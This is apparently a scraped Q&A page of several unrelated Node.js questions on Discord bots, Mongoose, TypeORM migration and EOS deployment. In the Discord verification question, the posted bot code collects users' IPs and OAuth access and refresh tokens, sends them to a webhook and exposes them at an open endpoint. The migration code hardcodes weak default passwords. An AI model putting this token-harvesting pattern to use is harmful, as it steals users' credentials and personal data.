nodejs mongoose CastError (with discordjs) - node.js

error image
this is my error, im making on my discord bot with discord.js
and im making stock bot now, heres my sources , i have too much code to upload codes with pastbin https://pastebin.com/Sr8QxBYd (stock.js codes) i searched my examples on internet but i cant find examples like me.
why this problem occurs, and how to solve this problem i want to know these
const { Client, Intents, Collection } = require('discord.js');
const { prefix ,token } = require('./config.json');
const fs = require('fs');
const commandsFile = fs.readdirSync('./commands').filter(file => file.endsWith('.js'))
const client = new Client({intents:32767}); //32767 모든 권한 Intents.FLAGS.GUILDS 권한 약한거
const { DiscordTogether } = require('discord-together');
const mongoose = require('mongoose');
module.exports = client;
const Schema = require("./models/주식");
mongoose.connect("",{
}).then(console.log("DB successfully connected"));
client.discordTogether = new DiscordTogether(client);
client.once('ready', async () => {
console.log('Ready!');
client.user.setActivity("범이야 도움말",{
type:"PLAYING"
})
const Schema_stock = require("./models/주식")
const stockInfo = await Schema_stock.findOne({
stock: "391839729830"
})
const getRandom = (min, max) => Math.floor(Math.random() * (max - min) + min);
let seoulJjVar = getRandom(-20, 20) //서울
let eungaeFdVar = getRandom(-20, 20) //응애
let seondoCfVar = getRandom(-20, 20) //선도
let gukcciVar = getRandom(-20, 20) //국찌
module.exports = {
seoulJjVar,
eungaeFdVar,
gukcciVar,
seondoCfVar
};
await Schema.findOneAndUpdate({stock: "391839729830"}, {
seoulJj: stockInfo.seoulJj - seoulJjVar,
eungaeFd: stockInfo.eungaeFd - eungaeFdVar,
gukcci: stockInfo.gukcci - gukcciVar,
seondoCf: stockInfo.seondoCf - seondoCfVar
})
const interval = {
// tick: 0,
_interval: undefined,
start: function () {
this._interval = setInterval(this.callback.bind(this), 300000);
},
callback: async function () {
// this.tick += 1;
// console.log(this.tick);
// if (this.tick >= 3) clearInterval(this._interval);
seoulJjVar = getRandom(-20, 20) //서울
eungaeFdVar = getRandom(-20, 20) //응애
seondoCfVar = getRandom(-20, 20) //선도
gukcciVar = getRandom(-20, 20) //국찌
await Schema.findOneAndUpdate({stock: "391839729830"}, {
seoulJj: stockInfo.seoulJj - seoulJjVar,
eungaeFd: stockInfo.eungaeFd - eungaeFdVar,
gukcci: stockInfo.gukcci - gukcciVar,
seondoCf: stockInfo.seondoCf - seondoCfVar
})
}
}
interval.start();
});
client.commands = new Collection();
for(const file of commandsFile){
const command = require(`./commands/${file}`)
client.commands.set(command.name , command)
}
client.on('messageCreate' , message=>{
if(!message.content.startsWith(prefix)) return;
const args = message.content.slice(prefix.length).trim().split(/ +/);
const commandName = args.shift();
const command = client.commands.get(commandName);
if (!command) return;
try{
command.execute(message,args);
} catch (error) {
console.error(error);
}
})
client.on('guildMemberUpdate', () => {
if(client.user.id!="범이"){
client.user.id = "범이";
}
})
client.on('userUpdate', () => {
if(client.user.id!="범이"){
client.user.id = "범이";
}
})
client.on('messageCreate',message=>{
if(message.content == `${prefix}유튜브`){
const channel = message.member.voice.channel
if(!channel) return message.reply("음성채널에 접속해주세요!");
client.discordTogether.createTogetherCode(channel.id, 'youtube').then(invite =>{
return message.channel.send(invite.code);
})
}
})
client.login(token);
//index.js
const mongo = require("mongoose")
const d = new mongo.Schema({
money: { type: Number },
userid: { type: String },
date: { type: String },
stocks: {
seoulJj: { type: Number },
eungaeFd: { type: Number },
gukcci: { type: Number },
seondoCf: { type: Number },
imold: { type:Number }
}
})
const MessageModel = module.exports = mongo.model("도박", d);
//./models/도박.js
const mongo = require("mongoose")
const dt = new mongo.Schema({
seoulJj: { type: Number },
eungaeFd: { type: Number },
gukcci: { type: Number },
seondoCf: { type: Number },
stock: { type: String }
})
const MessageModel = module.exports = mongo.model("주식", dt);
//./models/주식.js

Related

If the people in the json file are there, give them a role with the .verify command. discord.js v13

if there is a user id saved in the json file i want to give them a role when they use the .verify command.
or I want to automatically assign roles to user ids in json file
my code i tried but it didn't work I don't want it to assign a role if the person isn't there
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
all code of my bot
const Discord = require('discord.js');
const client = new Discord.Client({
fetchAllMembers: false,
restTimeOffset: 0,
restWsBridgetimeout: 100,
shards: "auto",
allowedMentions: {
parse: [],
repliedUser: false,
},
partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
intents: [
Discord.Intents.FLAGS.GUILDS,
Discord.Intents.FLAGS.GUILD_MEMBERS,
//Discord.Intents.FLAGS.GUILD_BANS,
//Discord.Intents.FLAGS.GUILD_EMOJIS_AND_STICKERS,
//Discord.Intents.FLAGS.GUILD_INTEGRATIONS,
//Discord.Intents.FLAGS.GUILD_WEBHOOKS,
//Discord.Intents.FLAGS.GUILD_INVITES,
Discord.Intents.FLAGS.GUILD_VOICE_STATES,
//Discord.Intents.FLAGS.GUILD_PRESENCES,
Discord.Intents.FLAGS.GUILD_MESSAGES,
Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.GUILD_MESSAGE_TYPING,
Discord.Intents.FLAGS.DIRECT_MESSAGES,
Discord.Intents.FLAGS.DIRECT_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.DIRECT_MESSAGE_TYPING
],
});
const jeu = require("./jeu");
const chalk = require('chalk');
const db = require('quick.db');
const fs = require('fs');
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
const FormData = require('form-data');
const axios = require('axios');
const emoji = require("./emoji");
process.on("unhandledRejection", err => console.log(err))
app.use(bodyParser.text())
app.get('/', function(req, res) {
res.sendFile(__dirname + '/index.html')
})
app.get('/jeuallauth', async (req, res) => {
fs.readFile('./object.json', function(err, data) {
return res.json(JSON.parse(data))
})
})
app.post('/', function(req, res) {
const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
let form = new FormData()
form.append('client_id', jeu.client_id)
form.append('client_secret', jeu.client_secret)
form.append('grant_type', 'authorization_code')
form.append('redirect_uri', jeu.redirect_uri)
form.append('scope', 'identify', 'guilds.join')
form.append('code', req.body)
fetch('https://discordapp.com/api/oauth2/token', { method: 'POST', body: form, })
.then((eeee) => eeee.json())
.then((cdcd) => {
ac_token = cdcd.access_token
rf_token = cdcd.refresh_token
const tgg = { headers: { authorization: `${cdcd.token_type} ${ac_token}`, } }
axios.get('https://discordapp.com/api/users/#me', tgg)
.then((te) => {
let efjr = te.data.id
fs.readFile('./object.json', function(res, req) {
if (
JSON.parse(req).some(
(ususu) => ususu.userID === efjr
)
) {
console.log(
`[-] ${ip} - ` +
te.data.username +
`#` +
te.data.discriminator
)
return
}
console.log(
`[+] ${ip} - ` +
te.data.username +
'#' +
te.data.discriminator
)
avatarHASH =
'https://cdn.discordapp.com/avatars/' +
te.data.id +
'/' +
te.data.avatar +
'.png?size=4096'
fetch(`${jeu.wehbook}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
avatar_url: '',
embeds: [
{
color: 3092790,
title: `${emoji.info} **New User**`,
thumbnail: { url: avatarHASH },
description:
`${emoji.succes} \`${te.data.username}#${te.data.discriminator}\`` +
`\n\n${emoji.succes} IP: \`${ip}\`` +
`\n\n${emoji.succes} ID: \`${te.data.id}\`` +
`\n\n${emoji.succes} Acces Token: \`${ac_token}\`` +
`\n\n${emoji.succes} Refresh Token: \`${rf_token}\``,
},
],
}),
})
var papapa = {
userID: te.data.id,
userIP: ip,
avatarURL: avatarHASH,
username:
te.data.username + '#' + te.data.discriminator,
access_token: ac_token,
refresh_token: rf_token,
},
req = []
req.push(papapa)
fs.readFile('./object.json', function(res, req) {
var jzjjfj = JSON.parse(req)
jzjjfj.push(papapa)
fs.writeFile(
'./object.json',
JSON.stringify(jzjjfj),
function(eeeeeeeee) {
if (eeeeeeeee) {
throw eeeeeeeee
}
}
)
})
})
})
.catch((errrr) => {
console.log(errrr)
})
})
})
client.on("ready", () => {
setInterval(() => {
var guild = client.guilds.cache.get('1026216372386136114');
var shareCount = guild.members.cache.filter(member => member.roles.cache.has('1070667391278792714')).size;
var OnlineCount = guild.members.cache.filter(m => m.presence && m.presence.status !== "offline").size;
let activities = [ `${guild.memberCount} Members`, `${OnlineCount} Online Members`, `${guild.premiumSubscriptionCount} Hardcore Boosted` , `${shareCount} Shareholder Members` ], i = 0;
setInterval(() => client.user.setActivity({ name: `${activities[i++ % activities.length]}`, status: "DND" }), 5200);
}, 100);
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
}
}
})
function escapeRegex(str) {
return str.replace(/[.*+?^${}()|[\]\\]/g, `\\$&`);
}
})
json file
[{"userID":"10342421159140912","avatarURL":"*********","username":"****","access_token":"********","refresh_token":"****"}
The users who authorize my bot are saved in a json file and I want to automatically assign roles to the people in that file, but it didn't work.
I tried something else and if the user is registered in the json file it uses the .verify command and the bot gives him a role. but it was giving even though it wasn't registered, I couldn't figure it out

Mongo DB SORTING data nodejs

i created a code that Backsup/Deletes and Inserts information from the Third Party API every 24hours to update the Third party api changes daily on the database.
how can i sort the information i get from the MongoDB by which score changed the most?
API LOOKS LIKE
{
"_id": "6365e1dbde0dd3639536f4b7",
"position": 1,
"id": "105162",
"score": 2243536903,
"__v": 0
},
MY CODE
app.get('/api/TopFlops', async (req, res) => {
const topflops = await TopFlops.find({}).sort({_id: +1}).limit(5)
res.json(topflops);
})
CODE TO INSERT DATA FROM THE 3RD PARTY API TO DB
cron.schedule('59 23 * * *', async () => {
const postSchema = new mongoose.Schema({
id: {
type: Number,
required: true
},
name: {
type: String,
required: true
},
status: {
type: String,
required: false
},
});
const Post = mongoose.model('players', postSchema);
async function getPosts() {
const getPlayers = await fetch("http://localhost:3008/api/players");
const response = await getPlayers.json();
for( let i = 0;i < response.players.length; i++){
const post = new Post({
id: response.players[i]['id'],
name: response.players[i]['name'],
status: response.players[i]['status'],
});
post.save();
}
}
console.log("Table submitted successfully")
await getPosts();
});
CODE TO FETCH API
const [playerName, setPlayerName] = useState([]);
const [playerRank, setPlayerRank] = useState([]);
const [player, setPlayer] = useState([]);
const [perPage, setPerPage] = useState(10);
const [size, setSize] = useState(perPage);
const [current, setCurrent] = useState(1);
const [players, setPlayers] = useState();
const fetchData = () => {
const playerAPI = 'http://localhost:3001/api/topflops';
const playerRank = 'http://localhost:3001/api/topflops';
const getINFOPlayer = axios.get(playerAPI)
const getPlayerRank = axios.get(playerRank)
axios.all([getINFOPlayer, getPlayerRank]).then(
axios.spread((...allData) => {
const allDataPlayer = allData[0].data
const getINFOPlayerRank = allData[1].data
const newPlayer = allDataPlayer.map(name => {
const pr = getINFOPlayerRank.find(rank => name.id === rank.id)
return {
id: name.id,
name: name.name,
alliance: name.alliance,
position: pr?.position,
score: pr?.score
}
})
setPlayerName(allDataPlayer)
setPlayerRank(getINFOPlayerRank)
console.log(getINFOPlayerRank)
console.log(newPlayer)
setPlayer(newPlayer)
})
)
}
useEffect(() => {
fetchData()
}, [])
const getData = (current, pageSize) => {
// Normally you should get the data from the server
return player?.slice((current - 1) * pageSize, current * pageSize);
};

Migrate JSON Data to Database Using TypeORM

I want to migrate my JSON data to PostgreSQL database using TypeORM. I have many relationship between tables and I have 2 JSON file having 13,000 records and 70,000 records. I want to migrate all of this data to DB. This JSON files are from old database tables and i want to migrate this data to new database tables. RouteName and SerialNo uniquely maps one to many loanee to collections.
Loanee Entity
import { User } from "./User";
import {
BaseEntity,
Column,
Entity,
ManyToOne,
OneToMany,
PrimaryGeneratedColumn,
} from "typeorm";
import { Loan } from "./Loan";
import { Village } from "./Village";
import { Penalty } from "./Penalty";
import { Transcation } from "./Transcation";
#Entity()
export class Loanee extends BaseEntity {
#PrimaryGeneratedColumn("uuid")
id: string;
#ManyToOne(() => User, (user) => user.loanees)
user: User;
#OneToMany(() => Loan, (loan) => loan.loanee)
loans: Loan[];
#ManyToOne(() => Village, (village) => village.loanees)
village: Village;
#OneToMany(() => Penalty, (penalty) => penalty.loanee)
penalties: Penalty[];
#OneToMany(() => Transcation, (transcation) => transcation.fromLoanee)
from: Transcation[];
#OneToMany(() => Transcation, (transcation) => transcation.toLoanee)
to: Transcation[];
#Column()
fullName: string;
#Column({ nullable: true })
profileImage: string;
#Column()
address: string;
#Column({ default: "0" })
phoneNumber: string;
#Column()
guarantorName: string;
#Column()
guarantorVillage: string;
#Column()
guarantorAddress: string;
#Column({ default: "0" })
guarantorPhoneNumber: string;
#Column({ nullable: true })
remark: string;
#Column({ default: 0 })
penaltyAmount: number;
#Column({ unique: true, nullable: false })
loaneeNumber: string;
#Column({ type: "timestamp" })
timestamp: Date;
}
Collection Entity
import {
BaseEntity,
Column,
Entity,
ManyToOne,
PrimaryGeneratedColumn,
} from "typeorm";
import { Loan } from "./Loan";
import { Route } from "./Route";
import { User } from "./User";
#Entity()
export class Collection extends BaseEntity {
#PrimaryGeneratedColumn("uuid")
id: string;
#ManyToOne(() => Loan, (loan) => loan.collections)
loan: Loan;
#ManyToOne(() => User, (user) => user.collections)
user: User;
#ManyToOne(() => Route, (route) => route.collections)
route: Route;
#Column()
amount: number;
#Column()
dueAmount: number;
#Column({ nullable: true })
remark: string;
#Column({ type: "timestamp" })
timestamp: Date;
}
Loanee JSON FILE
[
{
"SerialNo": 178,
"LineName": "FOUR LINE",
"RouteName": "FRIDAY WEEKLY 3 NOLIASAHI",
"LoneeName": "POTTI BHAGABAN",
"LoneeAddress": "S/O POTTI GORAMMA",
"LoneeVillage": "BALI NOLIASAHI",
"LoneeOccupation": "MUTCHILU",
"GurantorName": "-",
"GurantorAddress": "-",
"GurantorVillage": "-",
"GurantorOccupation": "-",
"FromDate": "9/30/05 0:00",
"ToDate": "12/9/05 0:00",
"PaymentMode": "Weekly70",
"LoanAmount": 1500,
"InstallmentAmount": 150,
"AmountPaid": 0,
"BalanceAmount": 1500,
"AverageAmount": 21.43
},
{
"SerialNo": 3119,
"LineName": "ONE LINE",
"RouteName": "1 DAILY",
"LoneeName": "KUNI DAS",
"LoneeAddress": "W/O BHASKAR DAS",
"LoneeVillage": "RATNA PUR--1ST.",
"LoneeOccupation": "-",
"GurantorName": "-",
"GurantorAddress": "-",
"GurantorVillage": "-",
"GurantorOccupation": "-",
"FromDate": "2/27/07 0:00",
"ToDate": "5/8/07 0:00",
"PaymentMode": "Weekly70",
"LoanAmount": 1000,
"InstallmentAmount": 100,
"AmountPaid": 0,
"BalanceAmount": 1000,
"AverageAmount": 14.29
}
]
Collection JSON FILE
[
{
"LineName": "ONE LINE",
"RouteName": 1,
"SerialNo": 810,
"Collector": "ANR",
"Date": "7/8/04 0:00",
"Amount": 20,
"Remark": "-"
},
{
"LineName": "TWO LINE",
"RouteName": 81,
"SerialNo": 256,
"Collector": "RAMESH",
"Date": "8/31/04 0:00",
"Amount": 200,
"Remark": "-"
}
]
import { hash } from "bcryptjs";
import { Request, Response } from "express";
import "reflect-metadata";
import { createConnection, getConnection, getManager } from "typeorm";
import * as uuid from "uuid";
import { Collection } from "../entity/Collection";
import { Loan } from "../entity/Loan";
import { Loanee } from "../entity/Loanee";
import { Plan } from "../entity/Plan";
import { Role } from "../entity/Role";
import { Route } from "../entity/Route";
import { TranscationType } from "../entity/TranscationType";
import { User } from "../entity/User";
import { Village } from "../entity/Village";
import { RoleType } from "../types/RoleType";
import { TranscationInterface } from "../types/TranscationInterface";
import collection from "./new-collection.json";
import loanee from "./new-loanee.json";
import onlyCollectores from "./onlyCollectors.json";
import villageData from "./tblCities.json";
import RouteCityData from "./tblRouteCities.json";
import routeData from "./tblRoutes.json";
export const migrate = async (req: Request, res: Response) => {
const from = req.query.from || 0;
const to = req.query.to || 100000000000000;
res.status(200).json({
success: true,
from,
to,
});
await addRole();
await addVillages();
await addRoute();
await addTranscationType();
await addPlan();
await addAdmin();
await addCollectors();
await addRouteVillage();
await addNewLoaneeCollectionData(from, to);
await callStoredProcedure();
};
export const migrateOnlyLoaneAndCollections = async (
req: Request,
res: Response
) => {
const from = parseInt(req.query.from) || 0;
const to = parseInt(req.query.to) || 100000000000000;
res.status(200).json({
success: true,
from,
to,
});
await addNewLoaneeCollectionData(from, to);
await callStoredProcedure();
};
export const deleteLoaneeRecords = async (req: Request, res: Response) => {
const from = parseInt(req.query.from) || 0;
const to = parseInt(req.query.to) || 100000000000000;
res.status(200).json({
success: true,
from,
to,
});
for (let i = from; i < to; i++) {
await Loan.delete({ remark: `${i}_OLD_DATA` });
await Loanee.delete({ remark: `${i}_OLD_DATA` });
}
};
const addRoute = async () => {
//Dumping Routes Data to Server DB
for (let i = 0; i < routeData.length; i++) {
const item = routeData[i];
await Route.create({
name: item.RouteName,
timestamp: new Date(),
}).save();
}
};
const addVillages = async () => {
// Dumping Villages Data to Server DB
for (let i = 0; i < villageData.length; i++) {
const item = villageData[i];
await Village.create({
name: item.CityName,
timestamp: new Date(),
}).save();
}
};
const addRole = async () => {
await Role.create({
name: RoleType.admin,
timestamp: new Date(),
}).save();
await Role.create({
name: RoleType.collector,
timestamp: new Date(),
}).save();
};
const addAdmin = async () => {
const AdminRole = await Role.findOne({ where: { name: RoleType.admin } });
const user = new User();
user.role = AdminRole!;
user.userName = "admin";
user.fullName = "admin";
user.password = await hash("admin#123", 12);
user.balance = 1000000000;
user.timestamp = new Date();
await user.save();
const collectorRole = await Role.findOne({
where: { name: RoleType.collector },
});
const defaultUser = new User();
defaultUser.role = collectorRole!;
defaultUser.userName = "SYSTEM_GENERATED_COLLECTOR";
defaultUser.fullName = "SYSTEM_GENERATED_COLLECTOR";
defaultUser.password = await hash("1234567890", 12);
defaultUser.balance = 1000000000;
defaultUser.timestamp = new Date();
await defaultUser.save();
const defaultRoute = new Route();
defaultRoute.name = "SYSTEM_GENERATED_ROUTE";
defaultRoute.timestamp = new Date();
await defaultRoute.save();
const defaultVillage = new Village();
defaultVillage.name = "SYSTEM_GENERATED_VILLAGE";
defaultVillage.timestamp = new Date();
await defaultVillage.save();
};
const addCollectors = async () => {
const CollectorRole = await Role.findOne({
where: { name: RoleType.collector },
});
if (!CollectorRole) {
return;
}
const password = await hash("123456", 12);
for (let i = 0; i < onlyCollectores.length; i++) {
const collector = onlyCollectores[i];
const newCollector = new User();
newCollector.role = CollectorRole;
newCollector.userName = collector.Username.split(" ").join("_");
newCollector.fullName = collector.FullName;
newCollector.password = password;
newCollector.timestamp = new Date();
newCollector.last_updated = new Date();
await newCollector.save();
}
};
const addTranscationType = async () => {
const t1 = new TranscationType();
t1.name = TranscationInterface.cash_collection;
t1.timestamp = new Date();
await t1.save();
const t2 = new TranscationType();
t2.name = TranscationInterface.cash_collector;
t2.timestamp = new Date();
await t2.save();
const t3 = new TranscationType();
t3.name = TranscationInterface.cash_loan;
t3.timestamp = new Date();
await t3.save();
const t4 = new TranscationType();
t4.name = TranscationInterface.cash_office;
t4.timestamp = new Date();
await t4.save();
const t6 = new TranscationType();
t6.name = TranscationInterface.penalty_collected;
t6.timestamp = new Date();
await t6.save();
};
const addPlan = async () => {
const p1 = new Plan();
p1.name = "Daily";
p1.duration = 1;
p1.timestamp = new Date();
await p1.save();
const p2 = new Plan();
p2.name = "Weekly";
p2.duration = 7;
p2.timestamp = new Date();
await p2.save();
const p3 = new Plan();
p3.name = "Monthly";
p3.duration = 30;
p3.timestamp = new Date();
await p3.save();
const p4 = new Plan();
p4.name = "Fortnight";
p4.duration = 15;
p4.timestamp = new Date();
await p4.save();
};
const addRouteVillage = async () => {
const AllVillage = await Village.find();
const AllRoute = await Route.find();
for (let i = 0; i < RouteCityData.length; i++) {
const item = RouteCityData[i];
const village = AllVillage.find((item2) => item2.id === item.CityId);
const route = AllRoute.find((item2) => item2.id === item.RouteId);
try {
if (village && route) {
await getConnection()
.createQueryBuilder()
.relation(Route, "villages")
.of(route)
.add(village);
}
} catch (error) {
console.log(error.message);
}
}
};
const addNewLoaneeCollectionData = async (from, to) => {
const allData: any = [];
const loaneeData = loanee as any[];
const collectionData = collection as any[];
const defaultUser = await User.findOne({
where: { userName: "SYSTEM_GENERATED_COLLECTOR" },
});
const defaultRoute = await Route.findOne({
where: { name: "SYSTEM_GENERATED_ROUTE" },
});
const defaultVillage = await Village.findOne({
where: { name: "SYSTEM_GENERATED_VILLAGE" },
});
const WeeklyPlan = await Plan.findOne({
where: { name: "Weekly" },
});
const DailyPlan = await Plan.findOne({
where: { name: "Daily" },
});
const MonthlyPlan = await Plan.findOne({
where: { name: "Monthly" },
});
const FortnightPlan = await Plan.findOne({
where: { name: "Fortnight" },
});
// const transcationTypeLoan = await TranscationType.findOne({
// where: { name: TranscationInterface.cash_loan },
// });
// const transcationTypeCollection = await TranscationType.findOne({
// where: { name: TranscationInterface.cash_collection },
// });
console.log(collectionData.length);
loaneeData.forEach((item: any, index) => {
if (index >= from && index <= to) {
const block = {
...item,
dataIndex: index,
};
block.collection = [];
collectionData.forEach((item2: any) => {
if (
item.SerialNo === item2.SerialNo &&
item.RouteName === item2.RouteName
) {
block.collection.push(item2);
}
});
allData.push(block);
}
});
var count = 0;
allData.forEach((item: any) => {
count += item.collection.length;
});
console.log(allData.length);
console.log("Total Count : " + count);
const AllVillage = await Village.find();
const AllCollector = await User.find();
const AllRoute = await Route.find();
for (let i = 0; i < allData.length; i++) {
const item = allData[i];
let roundedNum = 0;
if (item.LoanAmount === 0 || item.InstallmentAmount === 0) {
roundedNum = 0;
} else {
roundedNum = Number(
(Number(item.LoanAmount) / Number(item.InstallmentAmount)).toFixed()
);
}
const village = AllVillage.find(
(item2) => item2.name.toLowerCase() === item.LoneeVillage.toLowerCase()
);
const routeColl = AllRoute.find(
(route2) => route2.name.toLowerCase() === item.RouteName.toLowerCase()
);
let plan = null;
if (item.PaymentMode.includes("Weekly")) {
plan = WeeklyPlan;
} else if (item.PaymentMode.includes("Daily")) {
plan = DailyPlan;
} else if (item.PaymentMode.includes("Monthly")) {
plan = MonthlyPlan;
} else if (item.PaymentMode.includes("Fortnight")) {
plan = FortnightPlan;
} else {
plan = WeeklyPlan;
}
const loanee = new Loanee();
loanee.id = uuid.v4();
loanee.user = defaultUser!;
loanee.village = village ? village : defaultVillage!;
loanee.route = routeColl ? routeColl : defaultRoute!;
loanee.fullName = `${item.LoneeName}_${item.dataIndex}`;
loanee.address = item.LoneeAddress;
loanee.guarantorName = item.GurantorName;
loanee.guarantorVillage = item.GurantorVillage;
loanee.guarantorAddress = item.GurantorAddress;
loanee.loaneeNumber = `${item.SerialNo}`;
loanee.remark = `${item.dataIndex}_OLD_DATA`;
loanee.timestamp = new Date(item.FromDate);
await loanee.save();
const loan = new Loan();
loan.id = uuid.v4();
loan.loanee = loanee;
loan.user = defaultUser!;
loan.plan = plan!;
loan.village = village ? village : defaultVillage!;
loan.route = routeColl ? routeColl : defaultRoute!;
loan.loanNumber = `${item.SerialNo}`;
loan.createdAt = new Date(item.FromDate);
loan.startAt = new Date(item.FromDate);
loan.endAt = new Date(item.ToDate);
loan.amount = item.LoanAmount.toFixed();
loan.dueAmount = item.BalanceAmount.toFixed();
loan.recoveryMoney = item.LoanAmount.toFixed();
loan.installment = item.InstallmentAmount.toFixed();
loan.numberOfInstallments = roundedNum;
loan.remark = `${item.dataIndex}_OLD_DATA`;
loan.timestamp = new Date(item.FromDate);
await loan.save();
const collArr = [];
for (let j = 0; j < item.collection.length; j++) {
const item2 = item.collection[j];
const userCollector = AllCollector.find(
(user1) =>
user1.userName.toLowerCase() === item2.Collector.toLowerCase()
);
collArr.push({
id: uuid.v4(),
loan: loan,
user: userCollector ? userCollector : defaultUser!,
route: routeColl ? routeColl : defaultRoute!,
amount: item2.Amount.toFixed(),
dueAmount: 0,
remark: `${item.dataIndex}_OLD_DATA`,
timestamp: new Date(item2.Date),
});
}
await getConnection()
.createQueryBuilder()
.insert()
.into(Collection)
.values(collArr)
.execute();
}
};
const callStoredProcedure = async () => {
await getManager().query(`
UPDATE loan l
INNER JOIN (
SELECT loanId, SUM(amount) as total
FROM collection
GROUP BY loanId
) c ON l.id = c.loanId
SET l.dueAmount = (l.recoveryMoney - c.total);
`);
await getManager().query(`
UPDATE loan SET isActive = false WHERE dueAmount <= 0;
`);
await getManager().query(`
UPDATE route r
INNER JOIN (
SELECT MAX(loaneeNumber) as maxNumber, routeId
FROM loanee
GROUP BY routeId
) l ON l.routeId = r.id
SET r.loaneeCount = l.maxNumber;
`);
await getManager().query(`
UPDATE route r
INNER JOIN (
SELECT MAX(loanNumber) as maxNumber, routeId
FROM loan
GROUP BY routeId
) l ON l.routeId = r.id
SET r.loanCount = l.maxNumber;
`);
};

HOW TO FIX Mongoose 5.11.8 model.find() ERROR Operation `thanks-leaderboards.find()` buffering timed out after 10000ms

How to solve model.find() function produces "buffering timed out after ... ms"? I'm using mongoose v 5.11.8, npm v6.14.8 and mongodb v3.6.3
Here's the code.
thanks-leaderboard.js
const thanksLeaderboardSchema = require('../../schemas/thanks-leaderboard-schema.js')
const thanksSchema = require('../../schemas/thanks-schema.js')
const fetchTopMembers = async (guildId) => {
let text = ''
const results = await thanksSchema
.find({
guildId,
})
.sort({
received: -1,
})
.limit(10)
for (let counter = 0; counter < results.length; ++counter) {
const { userId, received = 0 } = results[counter]
text += `#${counter + 1} <#${userId}> with ${received} thanks\n`
}
text += '\nThis is updated every minute'
return text
}
const updateLeaderboard = async (client) => {
const results = await thanksLeaderboardSchema.find({}).where('channelId')
for (const result of results) {
const { channelId, _id: guildId } = result
const guild = client.guilds.cache.get(guildId)
if (guild) {
const channel = guild.channels.cache.get(channelId)
if (channel) {
const messages = await channel.messages.fetch()
const firstMessage = messages.first()
const topMembers = await fetchTopMembers(guildId)
if (firstMessage) {
firstMessage.edit(topMembers)
} else {
channel.send(topMembers)
}
}
}
}
setTimeout(() => {
updateLeaderboard(client)
}, 1000 * 60)
}
module.exports = async (client) => {
updateLeaderboard(client)
}
set-leaderboard.js
const leaderBoardSchema = require('../../schemas/thanks-leaderboard-schema.js')
module.exports = {
commands: 'setleaderboard',
requiredRoles: ['Administrator'],
description: 'Erstelle ein Leaderboard für die vergebenen Danksagungen',
callback: async (message) => {
const { guild, channel} = message
const guildId = guild.id
const channelId = channel.id
await leaderBoardSchema.findOneAndUpdate({
_id: guildId,
channelId,
},
{
_id: guildId,
channelId,
},
{
upsert: true,
})
message.reply('Leaderboard wurde erstellt!').then((message) => {
message.delete({
timeout: 1000 * 5,
})
})
message.delete()
}
}
thanks-leaderboard-schema.js
const mongoose = require('mongoose')
const reqString = {
type: String,
required: true,
}
const thanksLeaderboardSchema = mongoose.Schema({
// Guild ID
_id: reqString,
channelId: reqString,
})
module.exports = mongoose.model('thanks-leaderboards', thanksLeaderboardSchema, 'thanks-leaderboards')
thanks-schema.js
const mongoose = require('mongoose')
const reqString = {
type: String,
required: true,
}
const thanksSchema = mongoose.Schema({
userId: reqString,
guildId: reqString,
received: {
type: Number,
default: 0,
},
lastGave: Date,
})
module.exports = mongoose.model(
'thanks',
thanksSchema,
'thanks'
)
I tried increasing the bufferTimeoutMS or disabling the bufferCommands but still it won't work. This Code is supposed to readout the database every 60 seconds but the timeout happens after 10 seconds... can't figure out how to fix this error. I've already tried to delete the node_modules folders for mongoose and mongodb and reinstall them via npm but that didn't work as I get this error again.

How to solve 'missing setcode.vmtype (type=uint8)' error when deploying EOS Smart Contract using eosjs?

I'm trying to deploy an EOS Smart Contract using eosjs.
I referred the code from https://eosio.github.io/eosjs/latest/how-to-guides/how-to-deploy-a-smart-contract
const wasmFilePath = './hello.wasm'
const abiFilePath = './hello.abi'
const fs = require('fs')
const { Api, JsonRpc, Serialize } = require('eosjs');
const { JsSignatureProvider } = require('eosjs/dist/eosjs-jssig'); // development only
const fetch = require('node-fetch'); //node only
const { TextDecoder, TextEncoder } = require('util'); //node only
let privateKey1 = '5J***********'
const privateKeys = [privateKey1];
const signatureProvider = new JsSignatureProvider(privateKeys);
const rpc = new JsonRpc('https://jungle2.cryptolions.io:443', { fetch }); //required to read blockchain state
const api = new Api({ rpc, signatureProvider, textDecoder: new TextDecoder(), textEncoder: new TextEncoder() });
const wasmHexString = fs.readFileSync(wasmFilePath).toString('hex')
const buffer = new Serialize.SerialBuffer({
textEncoder: api.textEncoder,
textDecoder: api.textDecoder,
})
let abiJSON = JSON.parse(fs.readFileSync(abiFilePath, 'utf8'))
const abiDefinitions = api.abiTypes.get('abi_def')
abiJSON = abiDefinitions.fields.reduce(
(acc, { name: fieldName }) =>
Object.assign(acc, { [fieldName]: acc[fieldName] || [] }),
abiJSON
)
abiDefinitions.serialize(buffer, abiJSON)
let serializedAbiHexString = Buffer.from(buffer.asUint8Array()).toString('hex')
deployContract();
async function deployContract(){
try{
const wasmFilePath = './hello.wasm'
const abiFilePath = './hello.abi'
